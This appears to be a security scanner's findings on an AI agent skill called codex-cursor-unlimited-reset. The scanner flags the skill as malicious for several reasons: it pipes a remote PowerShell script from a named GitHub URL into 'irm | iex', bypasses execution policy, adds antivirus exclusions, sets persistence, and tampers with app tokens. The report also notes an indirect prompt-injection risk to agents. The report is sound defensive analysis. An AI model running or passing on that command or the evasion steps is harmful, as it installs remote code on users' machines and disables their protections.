codex-cursor-unlimited-reset

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The raw GitHub URL points to a PowerShell script from an unfamiliar user that the instructions tell you to execute directly (irm | iex) and the skill includes actions like modifying app data, scheduling tasks, and suggesting AV exclusions — all strong high-risk indicators; the ara.so domain alone does not mitigate this risk.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The skill is high-risk and appears intentionally abusive: it instructs downloading and executing remote PowerShell via "irm | iex" (remote code execution), recommends bypassing execution policy and adding Windows Defender exclusions (evasion/disablement), and sets persistence (scheduled tasks/profile functions) while modifying app data/tokens to evade usage limits — a clear pattern enabling misuse, possible unauthorized access, and covert remote updates.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.75). The required workflow fetches a PowerShell script from a public URL at runtime (irm https://raw.githubusercontent.com/.../install.ps1 | iex / Invoke-WebRequest ... -OutFile ...), and that fetched outsider-authored free-form script content is then executed and can be ingested as readable text by the agent’s LLM context via the runtime execution/logging path.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill repeatedly instructs users to run a remote PowerShell command that downloads and directly executes the script at https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 (irm ... | iex), which is a runtime fetch of remote code that the skill relies on and therefore directly executes external code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs running remote PowerShell with ExecutionPolicy bypass, clearing and deleting application and credential data, creating scheduled tasks and PowerShell profile entries, and adding antivirus exclusions — all actions that modify system state and can bypass security protections and require elevated privileges.